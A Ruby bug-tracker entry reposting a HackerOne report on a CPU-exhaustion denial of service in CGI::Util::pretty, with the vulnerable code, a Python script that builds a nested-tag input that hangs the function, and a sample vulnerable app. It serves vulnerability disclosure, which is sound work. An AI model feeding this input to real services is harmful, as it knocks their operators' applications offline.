Bug #20648: Improve performance of CGI::Util::pretty (originally reported as security issue, later decided to not be a security risk)

• Status: Feedback
• Assignee: -
• Target version: -
• ruby -v: ruby 3.4.0dev (2024-02-09T12:28:26Z master 08b77dd682) [x86_64-linux]
• Backport: 3.1: UNKNOWN, 3.2: UNKNOWN, 3.3: UNKNOWN

[somehacker (Jacob Miller)]

I originally reported this bug as a security issue, because it can be used as a potential DOS vector for applications. It was decided that this issue wasn't a security issue, so I am just going to copy paste the original hackerone report here:

The vulnerability exists here (in lib/cgi/util.rb):

  def pretty(string, shift = "  ")
    lines = string.gsub(/(?!\A)<.*?>/m, "\n\\0").gsub(/<.*?>(?!\n)/m, "\\0\n")
    end_pos = 0
    while end_pos = lines.index(/^<\/(\w+)/, end_pos)
      element = $1.dup
      start_pos = lines.rindex(/^\s*<#{element}/i, end_pos)
      lines[start_pos ... end_pos] = "__" + lines[start_pos ... end_pos].gsub(/\n(?!\z)/, "\n" + shift) + "__"
    end
    lines.gsub(/^((?:#{Regexp::quote(shift)})*)__(?=<\/?\w)/, '\1')
  end

The while loop has poor time complexity when parsing html. This means that an attacker can use the following python script:

#!/bin/sh

# This file is an exploit script to demonstrate algorithmic complexity denial of service in the ruby cgi module.

import itertools
import string

out = "" # Final exploit string
how_many_chars = 5 # Just use "ABCDE" for now...
chars = string.ascii_uppercase[:how_many_chars]
tags = list(itertools.product(list(chars), repeat=len(chars))) # Generate all permutations of those five characters
tags = ["".join(tag) for tag in tags]
print(tags)
for tag in tags:
	out += "<" + tag + ">"
for tag in reversed(tags): # Reverse tags and close the html tags in the reverse order.
	out += "</" + tag + ">"
print(out)
# Save the exploit string to "exploit.txt"
fh = open("exploit.txt", "w")
fh.write(out)
fh.close()
exit(0)

to create a file called "exploit.txt" which when passed to the pretty function causes it to hang. Example vulnerable application:

require 'cgi/util'
include CGI::Util

puts "This should hang with exploit.txt!!!"
puts pretty(ARGF.read)
puts "Done!"

I have attached these files as a zip. To observe the hang, just run ruby vuln.rb < exploit.txt to pass the exploit string to the "pretty" function.
Note that this pretty function is used in the html method in lib/cgi/html.rb :

    def html(attributes = {}) # :yield:
      if nil == attributes
        attributes = {}
      elsif "PRETTY" == attributes
        attributes = { "PRETTY" => true }
      end
      pretty = attributes.delete("PRETTY")
      pretty = "  " if true == pretty
      buf = "".dup

      if attributes.has_key?("DOCTYPE")
        if attributes["DOCTYPE"]
          buf << attributes.delete("DOCTYPE")
        else
          attributes.delete("DOCTYPE")
        end
      else
        buf << doctype
      end

      buf << super(attributes)

      if pretty
        CGI.pretty(buf, pretty)
      else
        buf
      end

    end

therefore an attacker can cause a denial of service when the pretty function is used indirectly by passing the "PRETTY" attribute to the html method.
Also note that this denial of service vulnerability is not due to the poor performance of the regular expressions used in the function (this is not a ReDOS bug), but due to the poor time complexity of the while loop. This means that the ReDOS protection introduced in ruby 3.2.0 (https://blog.kiprosh.com/ruby-3-2-0-introduce/) won't protect the victim in this case.

Version information:

$ ruby -v
ruby 3.4.0dev (2024-02-09T12:28:26Z master 08b77dd682) [x86_64-linux]

Impact

This poor time complexity of this function can cause the victims CPU usage to jump very high while processing the attackers exploit. This overloading can impact service performance and can cause excessive resource consumption.

It was later decided to treat this as a regular bug instead.

[mame (Yusuke Endoh)]

• Status changed from Open to Feedback

A patch is welcome.